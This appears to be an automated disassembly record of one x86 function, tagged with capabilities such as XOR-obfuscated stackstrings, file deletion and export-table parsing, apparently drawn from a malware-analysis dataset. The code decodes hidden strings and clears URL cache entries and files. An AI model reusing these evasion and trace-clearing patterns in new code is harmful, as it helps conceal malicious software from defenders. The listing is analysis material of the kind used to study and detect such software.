Function at 0x417e20
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x479ad7
mov eax, dword fs:[0]
push eax
sub esp, 0x314
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x310], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4947a0]
xor eax, esp
push eax
lea eax, [esp + 0x328]
mov dword fs:[0], eax
xor ebx, ebx
lea eax, [esp + 0x108]
mov dword [esp + 0x330], ebx
mov edi, ecx
push eax
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], ebx
call fcn.0040fdd0
add esp, 4
mov dword [esp + 0x330], 1
mov cl, 0x74
mov al, 0x6f
mov byte [esp + 0x314], cl
mov byte [esp + 0x30c], cl
mov byte [esp + 0x2fc], cl
mov byte [esp + 0x304], cl
mov dl, 0x52
lea ecx, [esp + 0x28]
lea esi, [esp + 0x1e8]
mov byte [esp + 0x28], 0x1b
mov byte [esp + 0x29], 0x16
mov byte [esp + 0x2a], 6
mov byte [esp + 0x2b], 0x52
mov byte [esp + 0x24], 0x11
mov byte [esp + 0x25], 0x1c
mov byte [esp + 0x26], 0x13
mov byte [esp + 0x27], 0x52
mov byte [esp + 0x31c], 0x6d
mov byte [esp + 0x31d], 0x3b
mov byte [esp + 0x31e], 0x36
mov byte [esp + 0x31f], 0x26
mov byte [esp + 0x320], al
mov byte [esp + 0x321], 0x52
mov byte [esp + 0x315], 0x31
mov byte [esp + 0x316], 0x3c
mov byte [esp + 0x317], 0x33
mov byte [esp + 0x318], al
mov byte [esp + 0x319], 0x52
mov byte [esp + 0x30d], 0x17
mov byte [esp + 0x30e], 4
mov byte [esp + 0x30f], 0x17
mov byte [esp + 0x310], al
mov byte [esp + 0x311], 0x52
mov byte [esp + 0x2fd], 0x13
mov byte [esp + 0x2fe], 0x11
mov byte [esp + 0x2ff], al
mov byte [esp + 0x300], 0x52
mov byte [esp + 0x305], 0x17
mov byte [esp + 0x306], 6
mov byte [esp + 0x307], al
mov byte [esp + 0x308], 0x52
call fcn.0040ecf0
mov dl, 0x52
lea ecx, [esp + 0x24]
lea esi, [esp + 0x2ac]
mov byte [esp + 0x330], 2
call fcn.0040ecf0
mov dl, 0x52
lea ecx, [esp + 0x31c]
lea esi, [esp + 0x274]
mov byte [esp + 0x330], 3
call fcn.0040ecf0
mov dl, 0x52
lea ecx, [esp + 0x314]
lea esi, [esp + 0x258]
mov byte [esp + 0x330], 4
call fcn.0040ecf0
mov dl, 0x52
lea ecx, [esp + 0x30c]
lea esi, [esp + 0x23c]
mov byte [esp + 0x330], 5
call fcn.0040ecf0
mov byte [esp + 0x330], 6
mov dl, 0x52
lea ecx, [esp + 0x2fc]
lea esi, [esp + 0x290]
call fcn.0040ecf0
mov dl, 0x52
lea ecx, [esp + 0x304]
lea esi, [esp + 0x2c8]
mov byte [esp + 0x330], 7
call fcn.0040ecf0
mov byte [esp + 0x330], 8
push ebx
mov ebp, 0xf
mov dword [edi + 0x18], ebp
mov dword [edi + 0x14], ebx
push 0x483234
mov ecx, edi
mov byte [edi + 4], bl
call fcn.00401bf0
push ebx
push 0x483234
lea ecx, [esp + 0xbc]
mov dword [esp + 0x38], 1
mov dword [esp + 0xd4], ebp
mov dword [esp + 0xd0], ebx
mov byte [esp + 0xc0], bl
call fcn.00401bf0
lea ecx, [esp + 0x194]
push ebx
push ecx
mov byte [esp + 0x338], 9
call fcn.00414c20
sub esp, 0x14
mov ecx, esp
mov byte [esp + 0x34c], 0xa
mov dword [esp + 0x30], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x20c]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
lea edi, [esp + 0x220]
call fcn.00410b60
mov ecx, esp
mov byte [esp + 0x34c], 0xb
mov dword [esp + 0x30], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x2d0]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00401910
lea edi, [esp + 0x1e8]
call fcn.00410b60
add esp, 0x1c
lea esi, [esp + 0x220]
mov byte [esp + 0x330], 0xc
call fcn.004123e0
lea ecx, [esp + 0x1b0]
mov byte [esp + 0x330], 0xd
call fcn.00419e20
mov byte [esp + 0x330], 0xe
cmp dword [esp + 0x1e0], ebx
ja 0x418164
push 4
push str.ONLE
mov ecx, edi
call fcn.00401bf0
cmp dword [esp + 0x218], ebx
ja 0x418221
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
call fcn.0040fd10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x368], 0xf
mov dword [esp + 0x58], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x228]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
mov byte [esp + 0x368], 0xe
call fcn.0040fba0
add esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x20c]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00401910
lea edi, [esp + 0x194]
call fcn.00410b60
add esp, 0x1c
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x210]
mov byte [esp + 0x33c], 0x10
call fcn.00401910
mov byte [esp + 0x330], 0xe
cmp dword [esp + 0x190], 0x10
jb 0x418221
mov ecx, dword [esp + 0x17c]
push ecx
call fcn.004396bc
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 1
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push str..______l_o
mov esi, 0x10
mov byte [ecx + 4], bl
call fcn.00401bf0
sub esp, 0x1c
mov byte [esp + 0x368], 0x11
mov ecx, esp
mov dword [esp + 0x58], esp
push 1
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x483708
mov byte [ecx + 4], bl
call fcn.00401bf0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x70], esp
push 0xffffffffffffffff
mov byte [esp + 0x388], 0x12
push ebx
lea edx, [esp + 0x20c]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
lea ecx, [esp + 0x1cc]
mov byte [esp + 0x384], 0xe
call fcn.0040f4c0
add esp, 0x54
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1bc]
mov byte [esp + 0x33c], 0x13
call fcn.00401910
mov byte [esp + 0x330], 0xe
cmp dword [esp + 0x190], esi
jb 0x4182e4
mov eax, dword [esp + 0x17c]
push eax
call fcn.004396bc
add esp, 4
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x1b8]
push ecx
mov ecx, 0x4ae44c
call fcn.00401910
lea edx, [esp + 0x274]
push edx
lea eax, [esp + 0x198]
push eax
lea edi, [esp + 0x180]
call fcn.0040d8e0
lea ecx, [esp + 0x20c]
push ecx
push eax
lea edi, [esp + 0x44]
mov byte [esp + 0x340], 0x14
call fcn.0040d8e0
lea edx, [esp + 0x268]
push edx
push eax
lea edi, [esp + 0x104]
mov byte [esp + 0x348], 0x15
call fcn.0040d8e0
lea ecx, [esp + 0x1e4]
push ecx
push eax
lea edi, [esp + 0xb8]
mov byte [esp + 0x350], 0x16
call fcn.0040d8e0
lea edx, [esp + 0x25c]
push edx
push eax
lea edi, [esp + 0x184]
mov byte [esp + 0x358], 0x17
call fcn.0040d8e0
lea ecx, [esp + 0x248]
push ecx
push eax
lea edi, [esp + 0x170]
mov byte [esp + 0x360], 0x18
call fcn.0040d8e0
lea edx, [esp + 0x2c0]
push edx
push eax
lea edi, [esp + 0x108]
mov byte [esp + 0x368], 0x19
call fcn.0040d8e0
lea ecx, [esp + 0x1e8]
push ecx
push eax
lea edi, [esp + 0x164]
mov byte [esp + 0x370], 0x1a
call fcn.0040d8e0
add esp, 0x40
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1a0]
mov byte [esp + 0x33c], 0x1b
call fcn.00401910
cmp dword [esp + 0x13c], esi
jb 0x418411
mov edx, dword [esp + 0x128]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
cmp dword [esp + 0xe8], esi
jb 0x41843f
mov eax, dword [esp + 0xd4]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0xe8], ebp
mov dword [esp + 0xe4], ebx
mov byte [esp + 0xd4], bl
cmp dword [esp + 0x158], esi
jb 0x41846d
mov ecx, dword [esp + 0x144]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x158], ebp
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x174], esi
jb 0x41849b
mov edx, dword [esp + 0x160]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x174], ebp
mov dword [esp + 0x170], ebx
mov byte [esp + 0x160], bl
cmp dword [esp + 0xb0], esi
jb 0x4184c9
mov eax, dword [esp + 0x9c]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0xb0], ebp
mov dword [esp + 0xac], ebx
mov byte [esp + 0x9c], bl
cmp dword [esp + 0x104], esi
jb 0x4184f7
mov ecx, dword [esp + 0xf0]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x104], ebp
mov dword [esp + 0x100], ebx
mov byte [esp + 0xf0], bl
cmp dword [esp + 0x4c], esi
jb 0x41851f
mov edx, dword [esp + 0x38]
push edx
call fcn.004396bc
add esp, 4
mov byte [esp + 0x330], 0xe
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
cmp dword [esp + 0x190], esi
jb 0x41854c
mov eax, dword [esp + 0x17c]
push eax
call fcn.004396bc
add esp, 4
mov eax, dword [esp + 0x198]
cmp dword [esp + 0x1ac], esi
jae 0x418563
lea eax, [esp + 0x198]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword [esp + 0x10c]
cmp dword [esp + 0x120], esi
jae 0x418581
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10c]
cmp dword [esp + 0x120], esi
jae 0x41859f
lea eax, [esp + 0x10c]
mov edi, dword [esp + 0x198]
cmp dword [esp + 0x1ac], esi
jae 0x4185b6
lea edi, [esp + 0x198]
push eax
call fcn.00417cf0
test eax, eax
je 0x418e76
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x12c]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
call fcn.00410060
add esp, 0x1c
cmp eax, ebx
je 0x418e76
mov eax, dword [esp + 0x10c]
cmp dword [esp + 0x120], esi
jae 0x41860d
lea eax, [esp + 0x10c]
push 2
push eax
lea ecx, [esp + 0x3c]
call fcn.004459c3
lea ecx, [esp + 0x34]
mov byte [esp + 0x330], 0x1c
call fcn.00445279
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.004396b7
mov edi, eax
add esp, 4
lea eax, [esi + 1]
push eax
push ebx
push edi
call fcn.0045fbe0
add esp, 0xc
push esi
push edi
lea ecx, [esp + 0x3c]
call fcn.00445094
lea ecx, [esp + 0x34]
mov byte [edi + esi], bl
call fcn.00445324
mov eax, edi
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418680
sub eax, esi
push eax
push edi
lea ecx, [esp + 0x12c]
call fcn.00401bf0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x12c]
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x33c], 0x1d
call fcn.00401910
push edi
call fcn.004396bc
mov eax, dword [esp + 0x110]
add esp, 4
cmp dword [esp + 0x120], 0x10
jae 0x4186d7
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0x483364
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4186e6
sub eax, edx
push eax
push 0x483364
lea ecx, [esp + 0xbc]
push ecx
xor eax, eax
call fcn.004057e0
mov edi, eax
cmp edi, 0xffffffff
je 0x418e28
push edi
xor ecx, ecx
lea esi, [esp + 0x17c]
lea edx, [esp + 0xb8]
call fcn.0040cf20
mov byte [esp + 0x330], 0x1e
mov eax, dword [esp + 0x17c]
mov ebp, 0x10
cmp dword [esp + 0x190], ebp
jae 0x418749
lea eax, [esp + 0x17c]
push eax
call fcn.0045ea44
add esp, 4
push 0xffffffffffffffff
lea ecx, [edi + 3]
lea esi, [esp + 0xd4]
lea edx, [esp + 0xb8]
mov dword [esp + 0x18], eax
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x33c], 0x1f
call fcn.00401910
mov byte [esp + 0x330], 0x1e
cmp dword [esp + 0xe8], ebp
jb 0x4187a7
mov edx, dword [esp + 0xd4]
push edx
call fcn.004396bc
add esp, 4
mov eax, 0x483364
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4187b0
sub eax, edx
push eax
push 0x483364
lea eax, [esp + 0xbc]
push eax
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
je 0x418e0e
push eax
xor ecx, ecx
lea esi, [esp + 0x9c]
lea edx, [esp + 0xb8]
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x33c], 0x20
call fcn.00401910
mov ecx, esi
mov byte [esp + 0x330], 0x1e
call fcn.00401df0
push 0xffffffffffffffff
mov ecx, 0xc
lea esi, [esp + 0x9c]
lea edx, [esp + 0xb8]
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x33c], 0x21
call fcn.00401910
mov ecx, esi
mov byte [esp + 0x330], 0x1e
call fcn.00401df0
mov dword [esp + 0x50], 0x48370c
mov dword [esp + 0x54], str..______l_o
mov dword [esp + 0x58], 0x483710
mov dword [esp + 0x5c], 0x483714
mov dword [esp + 0x60], 0x483718
mov dword [esp + 0x64], 0x4835fc
mov dword [esp + 0x68], 0x48371c
mov dword [esp + 0x6c], 0x483720
mov dword [esp + 0x70], 0x483724
mov dword [esp + 0x74], 0x483728
mov dword [esp + 0x78], 0x48372c
mov dword [esp + 0x7c], 0x483730
mov dword [esp + 0x80], 0x483734
mov dword [esp + 0x84], 0x483738
mov dword [esp + 0x88], 0x48373c
mov dword [esp + 0x8c], 0x483740
mov dword [esp + 0x90], 0x4832d8
mov dword [esp + 0x94], 0x483708
mov dword [esp + 0x1c], ebx
jmp 0x418900
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0xbc]
push ecx
lea ecx, [esp + 0xa4]
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], bl
call fcn.00401910
mov edx, dword [esp + 0x1c]
mov byte [esp + 0x330], 0x22
mov esi, dword [esp + edx + 0x50]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418945
sub eax, edx
push eax
push esi
lea eax, [esp + 0xa0]
push eax
xor eax, eax
call fcn.004057e0
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4189f1
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + ecx + 0x74]
mov dword [esp + 0x20], edx
mov eax, esi
lea edx, [eax + 1]
jmp 0x418980
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418980
sub eax, edx
mov edi, eax
mov eax, dword [esp + 0x20]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x418992
sub eax, ecx
push eax
mov eax, dword [esp + 0x24]
push eax
push edi
mov eax, ebp
lea edi, [esp + 0xa4]
call fcn.0041acb0
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00401910
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4189c0
mov ecx, esi
sub eax, edi
lea edi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4189d0
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0xa0]
add eax, ebp
push ecx
call fcn.004057e0
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x418976
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0xa0]
push edx
lea ecx, [esp + 0xc0]
call fcn.00401910
mov byte [esp + 0x330], 0x1e
cmp dword [esp + 0xb0], 0x10
jb 0x418a2a
mov eax, dword [esp + 0x9c]
push eax
call fcn.004396bc
add esp, 4
mov eax, dword [esp + 0x1c]
add eax, 4
cmp eax, 0x24
mov dword [esp + 0x1c], eax
jl 0x418900
mov ebp, dword [esp + 0x14]
push ebx
push ebp
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0xe0]
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
lea eax, [esp + 0xbc]
push eax
mov ecx, ebx
call fcn.00419440
add esp, 0x28
push 0xffffffffffffffff
mov byte [esp + 0x334], 0x23
mov esi, dword [esp + 0x30]
push ebx
push eax
mov ecx, esi
call fcn.00401910
mov byte [esp + 0x330], 0x1e
cmp dword [esp + 0xb0], 0x10
jb 0x418ab6
mov ecx, dword [esp + 0x9c]
push ecx
call fcn.004396bc
add esp, 4
mov al, 0x7f
mov cl, 0x45
mov byte [esp + 0x2e7], al
mov byte [esp + 0x2ef], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x2e5], 8
mov byte [esp + 0x2e6], 1
mov byte [esp + 0x2e8], cl
mov byte [esp + 0x2ed], 4
mov byte [esp + 0x2ee], 0x17
mov byte [esp + 0x2f0], cl
mov byte [esp + 0x19], 9
mov byte [esp + 0x1b], cl
mov byte [esp + 0x2f5], 0x66
mov byte [esp + 0x2f6], 0x7b
mov byte [esp + 0x2f7], 0x48
mov byte [esp + 0x2f8], 0x4f
mov byte [esp + 0x2f9], cl
lea eax, [esp + 0x2e4]
mov byte [esp + 0x2e4], 0x43
lea esp, [esp]
inc eax
xor byte [eax], cl
jne 0x418b40
lea eax, [esp + 0x2ec]
mov byte [esp + 0x2ec], 0x50
inc eax
xor byte [eax], cl
jne 0x418b54
lea eax, [esp + 0x18]
mov byte [esp + 0x18], 0x57
inc eax
xor byte [eax], cl
jne 0x418b62
lea eax, [esp + 0x2f4]
mov byte [esp + 0x2f4], 0x3c
inc eax
xor byte [eax], cl
jne 0x418b76
lea eax, [esp + 0x2e4]
mov dword [esp + 0xe8], edi
mov dword [esp + 0xe4], ebx
mov byte [esp + 0xd4], bl
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418ba0
sub eax, edx
push eax
lea edx, [esp + 0x2e8]
push edx
lea ecx, [esp + 0xd8]
call fcn.00401bf0
mov byte [esp + 0x330], 0x24
lea eax, [esp + 0x2ec]
mov dword [esp + 0x104], edi
mov dword [esp + 0x100], ebx
mov byte [esp + 0xf0], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418be5
sub eax, edx
push eax
lea eax, [esp + 0x2f0]
push eax
lea ecx, [esp + 0xf4]
call fcn.00401bf0
mov byte [esp + 0x330], 0x25
lea eax, [esp + 0x18]
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418c27
sub eax, edx
push eax
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x148]
call fcn.00401bf0
mov byte [esp + 0x330], 0x26
lea eax, [esp + 0x2f4]
mov dword [esp + 0x174], edi
mov dword [esp + 0x170], ebx
mov byte [esp + 0x160], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418c70
sub eax, edx
push eax
lea edx, [esp + 0x2f8]
push edx
lea ecx, [esp + 0x164]
call fcn.00401bf0
mov byte [esp + 0x330], 0x27
cmp dword [esp + 0xe8], 0x10
mov eax, dword [esp + 0xd4]
jae 0x418cae
lea eax, [esp + 0xd4]
mov ecx, dword [esp + 0xe4]
push ecx
push eax
push esi
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
jne 0x418d66
cmp dword [esp + 0x104], 0x10
mov eax, dword [esp + 0xf0]
jae 0x418ce0
lea eax, [esp + 0xf0]
mov edx, dword [esp + 0x100]
push edx
push eax
push esi
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
jne 0x418d66
push ebx
push esi
lea eax, [esp + 0x148]
call fcn.0040cee0
cmp eax, 0xffffffff
jne 0x418d66
push ebx
push esi
lea eax, [esp + 0x164]
call fcn.0040cee0
cmp eax, 0xffffffff
jne 0x418d66
push 1
push ebp
sub esp, 0x1c
lea eax, [esp + 0xd8]
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call fcn.00406900
lea ecx, [esp + 0xbc]
push ecx
mov ecx, ebx
call fcn.00419440
add esp, 0x28
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [esp + 0x33c], 0x28
call fcn.00401910
lea ecx, [esp + 0x98]
call fcn.00401df0
mov esi, 0x10
cmp dword [esp + 0x174], esi
jb 0x418d84
mov edx, dword [esp + 0x160]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x174], edi
mov dword [esp + 0x170], ebx
mov byte [esp + 0x160], bl
cmp dword [esp + 0x158], esi
jb 0x418db2
mov eax, dword [esp + 0x144]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x104], esi
jb 0x418de0
mov ecx, dword [esp + 0xf0]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x104], edi
mov dword [esp + 0x100], ebx
mov byte [esp + 0xf0], bl
cmp dword [esp + 0xe8], esi
jb 0x418e0e
mov edx, dword [esp + 0xd4]
push edx
call fcn.004396bc
add esp, 4
cmp dword [esp + 0x190], 0x10
jb 0x418e28
mov eax, dword [esp + 0x17c]
push eax
call fcn.004396bc
add esp, 4
cmp dword [esp + 0x13c], 0x10
jb 0x418e42
mov ecx, dword [esp + 0x128]
push ecx
call fcn.004396bc
add esp, 4
lea ecx, [esp + 0x34]
mov dword [esp + 0x13c], 0xf
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
mov byte [esp + 0x330], 0xe
call fcn.00445493
mov ebp, 0xf
mov esi, 0x10
cmp dword [esp + 0x1c8], esi
jb 0x418e8f
mov edx, dword [esp + 0x1b4]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1c8], ebp
mov dword [esp + 0x1c4], ebx
mov byte [esp + 0x1b4], bl
cmp dword [esp + 0x238], esi
jb 0x418ebd
mov eax, dword [esp + 0x224]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x238], ebp
mov dword [esp + 0x234], ebx
mov byte [esp + 0x224], bl
cmp dword [esp + 0x1e4], esi
jb 0x418eeb
mov ecx, dword [esp + 0x1d0]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1e4], ebp
mov dword [esp + 0x1e0], ebx
mov byte [esp + 0x1d0], bl
cmp dword [esp + 0x21c], esi
jb 0x418f19
mov edx, dword [esp + 0x208]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x21c], ebp
mov dword [esp + 0x218], ebx
mov byte [esp + 0x208], bl
cmp dword [esp + 0x1ac], esi
jb 0x418f47
mov eax, dword [esp + 0x198]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1ac], ebp
mov dword [esp + 0x1a8], ebx
mov byte [esp + 0x198], bl
cmp dword [esp + 0xcc], esi
jb 0x418f75
mov ecx, dword [esp + 0xb8]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0xcc], ebp
mov dword [esp + 0xc8], ebx
mov byte [esp + 0xb8], bl
cmp dword [esp + 0x2e0], esi
jb 0x418fa3
mov edx, dword [esp + 0x2cc]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2e0], ebp
mov dword [esp + 0x2dc], ebx
mov byte [esp + 0x2cc], bl
cmp dword [esp + 0x2a8], esi
jb 0x418fd1
mov eax, dword [esp + 0x294]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2a8], ebp
mov dword [esp + 0x2a4], ebx
mov byte [esp + 0x294], bl
cmp dword [esp + 0x254], esi
jb 0x418fff
mov ecx, dword [esp + 0x240]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x254], ebp
mov dword [esp + 0x250], ebx
mov byte [esp + 0x240], bl
cmp dword [esp + 0x270], esi
jb 0x41902d
mov edx, dword [esp + 0x25c]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x270], ebp
mov dword [esp + 0x26c], ebx
mov byte [esp + 0x25c], bl
cmp dword [esp + 0x28c], esi
jb 0x41905b
mov eax, dword [esp + 0x278]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x28c], ebp
mov dword [esp + 0x288], ebx
mov byte [esp + 0x278], bl
cmp dword [esp + 0x2c4], esi
jb 0x419089
mov ecx, dword [esp + 0x2b0]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2c4], ebp
mov dword [esp + 0x2c0], ebx
mov byte [esp + 0x2b0], bl
cmp dword [esp + 0x200], esi
jb 0x4190b7
mov edx, dword [esp + 0x1ec]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x200], ebp
mov dword [esp + 0x1fc], ebx
mov byte [esp + 0x1ec], bl
cmp dword [esp + 0x120], esi
jb 0x4190e5
mov eax, dword [esp + 0x10c]
push eax
call fcn.004396bc
add esp, 4
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x328]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x310]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x320
ret